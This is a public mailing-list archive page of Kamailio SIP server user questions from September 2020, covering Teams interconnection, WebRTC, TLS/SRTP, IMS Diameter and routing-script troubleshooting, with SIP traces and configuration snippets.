Hi, I'm connecting Teams with kamailio server. From Kamailio to teams I have no problems, but from teams to Kamailio yes. Drop the call.. With ngrep I see that: INVITE sip:1005@CLIENT_IP:55766;transport=UDP;rinstance=d47edf336726e940 SIP/2.0. Record-Route: <sip:FQND_IP;r2=on;lr>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. FROM: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. TO: <sip:+34560@FQND:5061;user=phone>. CSEQ: 1 INVITE. CALL-ID: c1364913e582553a9a9c2544c3583b0a. MAX-FORWARDS: 69. Via: SIP/2.0/UDP 92.222.217.64;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. VIA: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. RECORD-ROUTE: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. CONTACT: <sip:api-du-a-euno.pstnhub.microsoft.com:443 ;x-i=b0b53fc5-76ef-4619-9a68-13e0a4eea92d;x-c=c1364913e582553a9a9c2544c3583b0a/d/8/6c25eb3789a14bf188ce6b05b5e27891>. CONTENT-LENGTH: 1091. MIN-SE: 300. SUPPORTED: timer. USER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.7.31.1 i.EUNO.0. CONTENT-TYPE: application/sdp. ALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFY. P-ASSERTED-IDENTITY: <tel:+324>,<sip:EMAIL>. PRIVACY: id. SESSION-EXPIRES: 3600. . v=0. o=- 165103 0 IN IP4 127.0.0.1. s=session. c=IN IP4 52.113.44.8. b=CT:10000000. t=0 0. m=audio 50452 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 2130706431 52.113.44.8 50452 typ srflx raddr 10.0.33.240 rport 50 U CLIENT_IP:55766 -> FQND_IP:5060 #2 SIP/2.0 180 Ringing. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 0. U CLIENT_IP:55766 -> FQND_IP:5060 #3 SIP/2.0 200 OK. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REGISTER, SUBSCRIBE, NOTIFY, REFER, INFO, MESSAGE. Content-Type: application/sdp. Supported: replaces. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 1067. . v=0. o=3cxVCE 324945090 117647850 IN IP4 . s=3cxVCE Audio Call. t=0 0. m=audio 0 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtpmap:104 SILK/16000. a=rtpmap:9 G722/8000. a=rtpmap:103 SILK/8000. a=rtpmap:111 SIREN/16000. a=fmtp:111 bitrate=16000. a=rtpmap:18 G729/8000. a=fmtp:18 annexb=no. a=rtpmap:0 PCMU/8000. a=rtpmap:8 PCMA/8000. a=rtpmap:97 RED/8000. a=rtpmap:101 telephone-event/8000. a=fmtp:101 0-16. a=rtpmap:13 CN/8000. a=rtpmap:118 CN/16000. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 213 I never received ACK.. In my configuration: Kamailio.cfg: #!KAMAILIO #!define WITH_TLS event_route[tm:local-request] { if(is_method("OPTIONS") && $ru =~ "pstnhub.microsoft.com") { append_hf("Contact: <sip:FQND:5061;transport=tls>\r\n"); } xlog("L_INFO", "Sent out tm request: $mb\n"); } request_route{ remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) { xlog("L_INFO","$fU is trying to call to $rU con valores $tu\n"); $rU="1005"; } } What I'm doing wrong? I don't understand why not received ACK.. Could anyone help me? Thanks

5 21

Kambdctl create command
by Pavithra Mohanraja 22 Sep '20

22 Sep '20

Hi, I need to use kambdctl create command but that has to create database in another vm where mysql is alone installed. How to do that? Thanks, Pavithra

2 1

Kamailio Slack Invite
by Peter Baines 22 Sep '20

22 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Info: recordings of Kamailio World 2020 sessions
by Daniel-Constantin Mierla 22 Sep '20

22 Sep '20

Hello, for those that couldn't attend the Kamailio World 2020 online event that happened a few weeks ago, or someone wants to view again a session, the recordings of the two days were split per session -- they are available on KamailioWorld youtube channel: * https://www.youtube.com/c/KamailioWorld/ For convenience, they were also grouped in a playlist for KW2020, see: * https://www.youtube.com/c/KamailioWorld/playlists No other editing than just cutting at start/stop of each session. Slides should be available at: * http://kamailio.org/events/2020-KamailioWorldOnline/ Enjoy! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Error on ACK/BYE After 200
by Neimar 21 Sep '20

21 Sep '20

Hello, I am trying to set up a Webrtc by using Kamailio, Asterisk and Rtpengine. So far, everything is working fine , I'm able to register an extension and make a call, but for some reason, when i'm trying to call a WebRTC extension from any SIP Extension from Asterisk, Kamailio is sending INVITE, WebRTC extension is sending back 200 OK, and then Kamailio is trying to send an ACK through UDP protocol, and not through wss, as it's supposed to do. In console, I see: Sep 21 20:39:06 vsphone3-sbc /usr/sbin/kamailio[9756]: WARNING: {1 102 ACK 332ee81b4eb178ac156e8d3e53a98900@172.16.11.6:5060} <core> [core/forward.c:231]: get_send_socket2(): protocol/port mismatch (forced tls:172.16.11.57:8443, to udp:187.20.56.83:27730) My scenario is: Internet -> Firewall -> Kamailio -> Asterisk Working: Softphone -> Kamailio -> Asterisk (TCP/UDP/TLS(SRTP) Asterisk -> Kamailio -> Softphone (TCP/UDP/TLS(SRTP)) Webrtc -> Kamailio -> Asterisk (WSS) Not Working: Asterisk -> Kamailio -> Webrtc After a answer from Webrtc, I can listen sound, so, RTP in theory is fine. Webrtc send 200 OK to Kamailio Kamailio Send 200 OK to Asterisk. Asterisk Send ACK to Kamailio ACK not forwarded to Webrtc. In attachment, my kamailio.cfg Every Help is welcome. Thanks Neimar.

1 0

Kamailio uses Python
by Pavithra Mohanraja 21 Sep '20

21 Sep '20

Hi, I am building kamailio as an docker image by installing kamailio using "apt-get install kamailio" in ubuntu 18.04, which installs python by default which makes my image size bigger. Does kamailio uses Python?. else what could be the alternative? Does anybody came across this situation. Kindly advise. Thanks, Pavithra

2 3

Kamailio IF Routes
by conradcordeiro＠gmail.com 21 Sep '20

21 Sep '20

Hello, Is it possible to set up Kamailio 5.4.1 to use IF to determine how calls are proxied depending on the source of the request? For example, *_if_* calls originate from /pstn.us1.twilio.com/ then _/$du = "sip01.example.com:5060"/_, wheres _*if*_ calls originate from /pstn.us2.twilio.com/ then _/$du = "sip01.example.com:5060"/_. Additionally, would this also be possible based on numbers? For example, _*if*_ calls are to number +1-800-777-8888 then /$du = "sip01.example.com:5060"/, or if calls are to number +1-800-777-9999 then /$du = "sip02.example.com:5060"/. To be clear, I don't expect both examples above to work in the same Kamailio instance but IF and AND clauses are possible, such as _*if*_ calls are to number +1-800-777-8888 AND from /pstn.us1.twilio.com/ then _/$du = "sip01.example.com:5060"/_, it'd be great to test this too. I'm not sure if I'm allowed to ask such specific questions on this mailing list and I hope I'm not asking too much. Many thanks, Conrad

3 4

SRTP/TLS BYE Problem with One of the Legs of the Call
by conradcordeiro＠gmail.com 20 Sep '20

20 Sep '20

Hello, Thank you for your reading this and for your help. I'm a Kamailio newbie and managed to set up an edge proxy, which works perfectly on UDP traffic. I'm now attempting to deploy TLS/SRTP and everything almost works perfectly. The single issue I'm having is that when either of the parties to an SRTP/TLS call disconnect, the other party's call remains active. With UDP, when one of the parties disconnects the call, the other leg of the call receives the BYE command and the call automatically disconnects. This is how I have our infrastructure set up: 1. Twilio SIP Trunk with Secure Media enabled. 2. Kamailio 5.4.1 set up with TLS module, set to listen on TLS port 5061, SSL certificates from Let's Encrypt, route set to our phone system. 3. Phone system is Asterisk. As per above, everything works almost perfectly with TLS/SRTP. The only issue is that calls will not disconnect when one of the sides hang up. If I disable TLS/SRTP and use UDP only, everything works. Audio is just fine with TLS/SRTP. Does anyone know why calls with SRTP/TLS will not disconnect automatically when one of the parties ends the call? Thank you, Conrad

2 2

Kamailio support for 5g
by Pavithra Mohanraja 18 Sep '20

18 Sep '20

Hi, Does kamailio IMS support for 5g Network functions since in 5g everything is handled via http requests. Could anyone please respond Thanks, Pavithra

3 4

IMS Diameter server module
by Pavithra Mohanraja 18 Sep '20

18 Sep '20

Hi, Can anybody reply what is the exact use of diameter server module. I am unable to understand from the kamailio doc provided. It is mentioned that it converts diameter messages to json messages. But without diameter.xml file, it is not working. Whats the exact use of it. Can i not be able to send the http request alone via Rx interface instead of using diameter.xml file. Kindly reply as i am blocked in this for few days. Thanks, Pavithra

1 0

Connection-oriented socket closure event hooks
by Alex Balashov 18 Sep '20

18 Sep '20

Hi, The `tcpops` module exposes, * event_route[tcp:closed] * event_route[tcp:timeout] * event_route[tcp:reset] These fire on closure of TCP connections and TLS connections. TLS is considered a separate transport in Kamailio, having distinct identifiers in all cases where transport protocol is relevant, configured by separate and specific parameters, and provided by a separate module (tls). But TLS runs on top of TCP, of course, so treating a TLS disconnection as a superset of TCP disconnection makes sense. WebSocket is considered a separate transport in Kamailio, having distinct identifiers in all cases where transport protocol is relevant, configured by separate and specific parameters, and provided by a separate module (websocket). But WebSocket runs on top of TCP, of course... ... yet it doesn't trigger these TCP connection events. Instead, one must use a separate `event_route[websocket_closed]` event route for this. Is there a reason for this inconsistency? I would think that the common denominator of TCP would lead to the same hierarchy of abstraction when it comes to events. It becomes important because if one wishes for Kamailio to log or notify disconnections for vanilla SIP or browser-based clients, one must essentially implement the same code twice. Thank you, -- Alex -- Alex Balashov | Principal | Evariste Systems LLC Tel: +1-706-510-6800 / +1-800-250-5920 (toll-free) Web: http://www.evaristesys.com/, http://www.csrpswitch.com/

2 1

webrtc sound problem in version 85.0 google chrome version
by Hamed Rastegar 17 Sep '20

17 Sep '20

Hello I am using kamailio 5.1 for WebRTC (websocket) But in the latest version of Google Chrome (85.0) I have a problem, No sound is transmitted between the source and the destination. This problem does not exist in Firefox browser If you have experience in this field, please comment

4 3

Diameter Messages for Rx
by Pavithra Mohanraja 17 Sep '20

17 Sep '20

Hi, Kindly give me some guidelines on how to convert diameter messages to http messages when establishing connection between PCSCF and PCF Kindly help Thanks, Pavithra

1 0

Few newbie questions
by Adam Rutkowski 17 Sep '20

17 Sep '20

Hi Everyone As I am just dipping my foot in the VOIP waters so please bear with me. Although it may be more appropriate for Freeswitch group I am sure there are plenty of knowledgeable folks here. I'm playing with freeswitch in my lab environment and really like what Kamailio has got to offer. That being said, there are few concepts I need help understanding. Consider this ( for hosted services I suppose ) [image: Screenshot 2020-09-16 at 22.21.22.png] 1 Does this topology seem right ? 2 If Kamailio is used as registar and load balancer, does that mean all domains, extensions must be present on all the FS boxes ? 3 How will auto provisioning work in this case ? Now, in the below scenario, clients have got FS box deployed on prem [image: Screenshot 2020-09-16 at 22.28.09.png] 4 Is there any reason to keep the FS farm ? or Kamailio poxying calls to VOIP providers is enough ? 5 What roles Kamailio could be used for in this case ? 6 Is deploying on prem PBX for a customer a popular solution ? 7 Anyone deployed above on Docker/ Kubernetes ? How's the performance and the bad bits if any ? I do realize this is pretty basic stuff for everyone in here, however, I would appreciate any helpful comments and if there is some good literature/ links you can recommend, I am all ears. Regards Adam

2 1

Kamailio IMS Diameter Messages
by Pavithra Mohanraja 17 Sep '20

17 Sep '20

Hi, Is there any possibility of converting diameter messages to http requests in IMS. Since I am working in 5g based network, In order to connect pcscf to pcf, Rx interface has to be established. But PCF is not accepting diameter messages. It is failing with error "No connected DefaultRoute peer found for app_id 16777236 and vendor id 10415" I used IMS Diameter server since it is mentioned as converting diameter messages to http json messages. But even before calling that diameter server, It is failing with App_id issue. How it works? Need to understand, how the diameter messages are working since in 5g , everything is based on http rest apis. Is there any possibility of connecting to it or there is no support in kamailio IMS for 5g. If you have any idea, please let me know. It will be very useful for me. Thanks, Pavithra

1 0

multi netwotk interface kamailio stops processing packets in one of it's network interfaces although keeps processing in the others
by Nuno Miguel Reis 17 Sep '20

17 Sep '20

Hello everyone. I've started to have an issue with a kamailio 4.4 instance listening on multiple network interfaces where it stops processing SIP on one of it's network interfaces but still continues to work fine on the others. If I restart kamailio everything starts working fine again. I'm using the default 'children=8' and one of my guesses on why this could be happening is that the number of childs processing couldn't be enough. Do you remember anything else on an issue like this where I should be looking? Thanks. -- Nuno Miguel Reis Departamento de Engenharia Informática Faculdade de Ciências e Tecnologia Universidade de Coimbra

4 5

Regular Expression Evaluation
by Mack Hendricks 16 Sep '20

16 Sep '20

I already run into issues with this. If I want to only execute a statement if it’s an INVITE with a request domain of 10.10.*.* how do I format? Below is what I have. I always have to play with it a bit. Looking to get a better understanding. The regular expression tester I’m using states that it’s valid. What am I doing wrong? if ((is_method("INVITE")) && ($rd =~ "10\.10\..+")) { # Do something xlog("fix got a 10.10 address"); } Thanks

5 8

CockroachDB and Kamailio
by Noah Mehl 16 Sep '20

16 Sep '20

Has anyone been down this path before? We are trying to test this out and the results are pretty promising so far. I realize the lack of Stored Procedures and Triggers make this untenable for many Postgres based implementations. Thanks! ~Noah

4 11

Kamailio does not forward BYE to Asterisk
by egemen ulus 16 Sep '20

16 Sep '20

Hi all, I have an infrastructure with Kamailio (reg), Asterisks farm, and Kamailio (4.3) proxy which dispatches calls. Trunk-1 (Vlan_A) Kam(reg) <> Asterisk Farm (5) <> Kam(proxy) <> Trunk-2 (Vlan_B) Trunk-3 (Vlan_C) For each trunk, I have to use the IP of the VLAN interface in "contact header". That means when I need to send a call to Trunk-1 I have to set Vlan_A IP address on the contact header. I have achieved that by rewriting Contact Header. ### remove_hf("Contact:"); append_hf("Contact: <sip:$fU@$var(recieved)>\r\n", "Call-ID"); #by using db ### But this causes a problem, Kamailio does not forward the BYE message that comes from Trunk-X to Asterisk (In before, the BYE message had Asterisk IP in R-URI). However, when I use topoh module it forward properly for one trunk. But I can not set multiple mask IP in topoh module. I'm using the dialog module and I thought it can handle all requests in one dialog to forward to the correct asterisk but it did not. Is there any suggestion for this case? And also how many sub-interfaces can Kamailio handle for a good performance? Or do you suggest multiple Kamailio instances instead of multiple sub-interfaces on one server? [https://ipmcdn.avast.com/images/icons/icon-envelope-tick-round-orange-anima…]<https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campai…> Virus-free. www.avast.com<https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campai…>

2 5

Kamailio used as proxy for Conference factories
by Adrian Tabacioiu 16 Sep '20

16 Sep '20

Hello, I am new in this VOIP field, yet I have to make a decision in using a SIP proxy that would allow the configuration of multiple conference factories, make load balancing when creating new conference, and provide presence information related to active conferences. Can you please tell me if this is possible with Kamailio, and give me some reference to a module or some documentation that would relate to that ? Thank you in advance. Best regards, Adrian Tabacioiu

3 4

Proxying BFCP
by René Hansen 15 Sep '20

15 Sep '20

Hi, I'm rather new to Kamailio and RTPEngine, so I'm looking for some help in locating any insights, documentation, guides or examples that resemble my use case. Currently I've got both running in working order and I can do SIP calls with both video and audio. Now I'm trying to figure out how to pass through BFCP as well. From what I understand so far, since BFCP isn't strictly RTP, it's not something that's outright supported. Please correct me if my assumption is wrong. My observation is that "*m=application PORT {UDP,TCP}/BFCP **" SDP lines doesn't seem to open for traffic as other media lines do. (Obviously expected if it's not supported) So I'm really just looking for any suggestions for, or where to start looking, in getting BFCP support. I do have the option of BFCP over both TCP and UDP, so if I could somehow include the originator IP as an added attribute in the re-written SDP answer, I could then just connect directly, around the proxy. I've yet to figure out how to do that as well however. Any pointers are much appreciated. Regards, René Hansen

2 3

Called with SDP without DTLS fingerprint from WebRTC to SIP
by Benjamin Flügel | vio:networks 15 Sep '20

15 Sep '20

Hey guys and girls, I'm trying to configure Kamailio so that I can communicate over it using WebRTC and SIP. Client 1 is a softphone based on SIPJS. Client 2 is a Yealink phone. Both are registered with the Kamailio. Behind the Kamailio there is another Asterisk. The Kamailio acts as a proxy here. So far everything works. Only if I accept the call, which is made from Client 1 to Client 2 or vice versa, then I get this error in Client 1: Called with SDP without DTLS fingerprint. I can see that the fingerprint is present in the INVITE from Client 1 to Client 2. However, it is missing in the OK. The lower part contains my NATMANAGE config. This could probably be optimized a lot, but for now it should work. Unfortunately I have only recently started with Kamailio. I hope you can help me there. I can also send you the SIP-Log if you want to. Many thanks in advance. Greetings Benny route[NATMANAGE] { if (is_request()) { if(has_totag()) { if (check_route_param("nat=yes")) { setbflag(FLB_NATB); } if (check_route_param("rtp=bridge")) { setbflag(FLB_BRIDGE); } if (check_route_param("rtp=ws")) { setbflag(FLB_RTPWS); } } } if (!isbflagset(FLB_BRIDGE)) { return; } if (!(isflagset(FLT_NATS) || isbflagset(FLB_NATB) || isbflagset(FLB_RTPWS))) { return; } $xavp(r=>$T_branch_idx) = "replace-origin replace-session-connection"; if (!nat_uac_test("8")) { xlog("IS TRUSTED"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " trust-address"; } if (is_request()) { if (!has_totag()) { if (!t_is_failure_route()) { $avp(extra_id) = @via[1].branch + $T_branch_idx; $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " via-branch=extra"; xlog("BRANCH: $T_branch_idx"); } } } if (is_reply()) { $avp(extra_id) = @via[2].branch + $T_branch_idx; $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " via-branch=extra"; xlog("BRANCH: $T_branch_idx"); } if(isbflagset(FLB_RTPWS)){ xlog("IS WS"); if(is_request()){ xlog("IS REQUEST"); if ($proto =~ "ws") { xlog("WEB --> SIP"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " rtcp-mux-demux DTLS=off SDES-off ICE=remove RTP/AVP"; rtpengine_manage($xavp(r=>$T_branch_idx)); if (route(FROMASTERISK)) { xlog("FROM INTERNAL"); } else { xlog("FROM EXTERNAL"); rtpengine_manage(" direction=external direction=internal ICE=remove loop-protect"); } } else { xlog("SIP --> WEB"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " rtcp-mux-offer generate-mid DTLS=passive SDES-off ICE=force RTP/SAVPF direction=internal direction=external loop-protect"; } } else { xlog("IS RESPONSE"); if ($proto =~ "ws") { xlog("WEB --> SIP"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " rtcp-mux-demux DTLS=off SDES-off ICE=remove RTP/AVP direction=external direction=internal loop-protect"; } else { xlog("SIP --> WEB"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " rtcp-mux-offer generate-mid DTLS=passive SDES-off ICE=force RTP/SAVPF direction=internal direction=external loop-protect"; } rtpengine_manage($xavp(r=>$T_branch_idx)); } } else { xlog("SIP --> SIP"); if (route(FROMASTERISK)) { xlog("FROM INTERNAL"); rtpengine_manage(" direction=internal direction=external ICE=remove loop-protect"); } else { xlog("FROM EXTERNAL"); rtpengine_manage(" direction=external direction=internal ICE=remove loop-protect"); } } xlog("NATMANAGE branch_id:$T_branch_idx ruri: $ru, method:$rm, status:$rs, extra_id: $avp(extra_id), rtpengine_manage: $xavp(r=>$T_branch_idx)\n"); if (is_request()) { if (!has_totag()) { if (t_is_branch_route()) { if (isbflagset(FLB_NATB)) { add_rr_param(";nat=yes"); } if (isbflagset(FLB_BRIDGE)) { add_rr_param(";rtp=bridge"); } if (isbflagset(FLB_RTPWS)) { add_rr_param(";rtp=ws"); } } } } if (is_reply()) { if (isbflagset(FLB_NATB)) { if (is_first_hop()) { if (af == INET) { set_contact_alias(); } } } } return; }

3 4

UAC module supports registration with Remote registrar using WSS ?
by sagar malam 15 Sep '20

15 Sep '20

Hello , I want to use UAC module to register with a remote registrar using WSS. Does it support it ? https://kamailio.org/docs/modules/5.3.x/modules/uac.html#idm614 -- Thanks, Sagar

2 1

Installing Diameter server module (IMS_DIAMETER_SERVER)
by Pavithra Mohanraja 15 Sep '20

15 Sep '20

Hi, How to install Diameter server module (IMS_DIAMETER_SERVER) using apt-get package. I need to have DRA in my application. Can anybody please help on this on how to install and how to use it. Kindly help. Thanks, Pavithra

2 6

Topos_redis and loose_route
by Ernest Mavrel 15 Sep '20

15 Sep '20

Dear Community, Call scenario: Calling number 33825462354 Called number 44656646820 UAC (IP=1.1.1.1) => Kamailio (IP=2.2.2.2) => SIP proxy (IP=3.3.3.3) I stocked on strange issue with module TOPOS_REDIS and PRACK message (IP=2.2.2.2 kamailio version 5.2.3). Configuration with module TOPOS works, but because of a lot of calls we would like to use TOPOS_REDIS (avoid mysql). I already check this: https://lists.kamailio.org/pipermail/sr-users/2018-May/101641.html and I already have fixed version of module. In attach you can find traces (pcap file and kamailio log with debug=4) Your help will be greatly appreciated Kind Regards Ernest Mavrel

3 7

Regex in the switch statement
by Ilie Soltanici 14 Sep '20

14 Sep '20

Hello, Is there any way to use Regex or 'OR/AND' operators in the switch/case statements? I've tried the following syntax but it's not working, are there any other ways to do this? switch($dlg_var(ISP)) { case "TRUNK1|TRUNK2": } Thank you.

4 4

RTPENGINE question
by Andrew Chen 14 Sep '20

14 Sep '20

Hey guys, Is this the right place to ask about rtpengine (ngcp) related issues with kernel packet forwarding? Thanks. -- Andy Chen Sr. Telephony Lead Engineer achen@ <achen(a)thinkingphones.com>fuze.com -- *Confidentiality Notice: The information contained in this e-mail and any attachments may be confidential. If you are not an intended recipient, you are hereby notified that any dissemination, distribution or copying of this e-mail is strictly prohibited. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thank you.*

5 11

Kamailio IMS - 5.3.5 with 5g core
by Pavithra Mohanraja 14 Sep '20

14 Sep '20

Hi, I am working with kamailio IMS 5.3.5. I am trying to connect kamailio IMS with 5g core. Did anybody come across this scenario. If so, Please help me how Rx interface works with 5g and how UDM and HSS can be an converged application incase of 5g. Kindly help as it is an urgent requirement. Thanks, Pavithra

1 0

Kamailio question
by alexandros vlachos 14 Sep '20

14 Sep '20

Hello, I am a new user and i am trying to use kamailio as remote sip server for clients (softphones particularly) The error message is "SIP: SIP/2.0 403 Not relaying" The kamailio listens with one public ip address in a datacenter ( linux debian). root@vmdeb1:~# kamctl version /usr/sbin/kamctl 5.2.0 The xlog shows that the register message arrives in kamailio. I am sure that the user 410 exists. I have added the remote public address to address via kamctl. I have added the location via ul add command. I am not sure about kamailio.cfg because most of it except the tls is the default. I would appreciate your help. Alexandros

3 2

Is there any way to remove stale registrations before expires time from usrloc ?
by sagar malam 14 Sep '20

14 Sep '20

Hello , I am using the usrloc module to store registrations. I could not find any way to remove stale registrations before expires time. Most of the registrations are mobile app so they wont run in background to save battery of phone hence we end up having lots of registrations in usrloc which were not removed because app was killed in background by OS without letting it send unregister request. Is there any way to remove stale registrations before expires time from usrloc ? -- Thanks, Sagar

4 8

SRTP-DTLS and rtpengine
by Gholamreza Sabery 12 Sep '20

12 Sep '20

Hi, I checked rtpengine's documentation, and I wonder what happens if I use SRTP-DTLS with rtpengine? My connection will be hop by hop encrypted with rtpengine, or like TURN my connection will remain end-to-end encrypted?? Thx a lot

2 2

Re: [SR-Users] xlog print sdp parameters
by Angel Elena 11 Sep '20

11 Sep '20

Ok, thanks for the info. -------------------------------- Ángel Elena Medina _o) craem(a)craem.net / \\ http://diablo.craem.net _(___V @craem_ www.linkedin.com/in/angel-elena-medina -------------------------------- Kopano Webapp. -----Original message----- From: Henning Westerholt <hw(a)skalatan.de> Sent: Friday 11th September 2020 14:03 To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org> Cc: Angel Elena <craem(a)craem.net> Subject: RE: [SR-Users] xlog print sdp parameters Hello, you can use e.g. https://www.kamailio.org/docs/modules/stable/modules/sdpops.html#idm239to print in all xlog. Have a look to the other functions to get access to certain lines. Cheers, Henning -- Henning Westerholt –https://skalatan.de/blog/ Kamailio services –https://gilawa.com From: sr-users <sr-users-bounces(a)lists.kamailio.org> On Behalf Of Angel Elena Sent: Friday, September 11, 2020 1:36 PM To: sr-users(a)lists.kamailio.org Subject: [SR-Users] xlog print sdp parameters Hi, good moorning. I have a Kamailio 4.4.7 in a debian box and I need print with xlog (if is possible) the o,c and m values from SDP headers. Is possible make a xlog() print this parameters with sdpops module or another ? Thanks -------------------------------- Ángel Elena Medina _o) craem(a)craem.net <mailto:craem@craem.net> / \\ http://diablo.craem.net <http://diablo.craem.net> _(___V @craem_ www.linkedin.com/in/angel-elena-medina <http://www.linkedin.com/in/angel-elena-medina> -------------------------------- Kopano Webapp.

1 0

REST API to initiate a call in Kamailio
by Ameed Jamous 11 Sep '20

11 Sep '20

Hello Everyone, I was wondering what’s the most recommended module by the community today to initiate calls via Kamailio using REST API. Call Flow: Application —> HTTP (Async) —> Kamailio —> B2BUA —> Callee(s). Does a reliable module for this already exist today? Thanks in advance ! Stay safe. -- [image: photo] *Ameed Jamous* Founder, TelecomsXChange +1 954 246 3356 <+1+954+246+3356> | a.jamous(a)telecomsxchange.com www.telecomsxchange.com | Skype: telecomsxchange <#SignatureSanitizer_SafeHtmlFilter_> 1800 N Bayshore Dr, Suite CU1, Miami, FL 33132

8 16

Getting memory error on kamailio v5.1.2 tm:Free fragment not found!
by M Arqum CH 11 Sep '20

11 Sep '20

Hello Users, I am facing memory-related error on my Kamailio server, using this kamailio version kamailio -v version: kamailio 5.1.2 (x86_64/linux) with -m 512 -M 32 childern=16 System Memory : 24 GB System Cores: 12 On console getting the following error : Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: <core> [core/mem/q_malloc.c:286]: qm_find_free(): qm_find_free(0x7fdf51eb9000, 11320); Free fragment not found! Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: <core> [core/mem/q_malloc.c:419]: qm_malloc(): qm_malloc(0x7fdf51eb9000, 11320) called from tm: h_table.c: build_cell(320), module: tm; Free fragment not found! Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: tm [t_lookup.c:1279]: new_t(): out of mem: Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: tm [t_lookup.c:1422]: t_newtran(): new_t failed Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: sl [sl_funcs.c:362]: sl_reply_error(): stateless error reply used: No error (2/SL) Please guide about the possible reason of failure or its memory leakage, possible solution. Thanks -- Regards M Arqum

5 6

Re: [SR-Users] How to handle BYE in case of serial fork
by Björn Klasen 11 Sep '20

11 Sep '20

Hi Hennning, loose_route() is what we are using. But we use also dialog module for call counting etc. We did not really change the default config. This is the snippet in our config. if (has_totag()) { # sequential requests within a dialog should # take the path determined by record-routing if (loose_route()) { if (is_method("BYE")) { t_on_reply("bye_reason"); setflag(FLT_ACC); # ... even if the transaction fails But I think that is not the point. The responses 18x responses are my real problem, because they have the same did in record-route but different to-tags because of the call forwarding scenario. That leads to the BYE of the first fork. With this BYE they try to stop the call with the first to-tag. But the first fork ist already canceld. So Kamailio behaves correctly by not answering or forwarding anythin, but throwing a warning with tight dialog matching not possible. Thats because at that point Kamailio does only know about the call with the second. So when the BYE is received by Kamailio the dialog modules can find the did but not the to-tog as Kamailio only has the second one left in memory. Now the point is, is there a way to hold the first early dialog fork in memory until it is either terminatet with a CANCEL or BYE or the last fork with the corresponding did is terminatet. I have read that ims_dialog or dialog_ng in our can handle things like this, but I also can't get it to work. By the way cdr generation does also not work with dialog_ng or ims_dialog (i also made tests with kamailio 5.3.5). This is the problematic BYE Message (i deleted customer relatet infomations) BYE sip:bob@kamailio:5060 SIP/2.0 Via: SIP/2.0/UDP carrier:5060;branch=z9hG4bKh6e7ie103g9amkc8gdo0.1 Max-Forwards: 65 To: <sip:bob@kamailio>;tag=11A2CF0C-5F578E7E000376B5-AA5BD700 From: 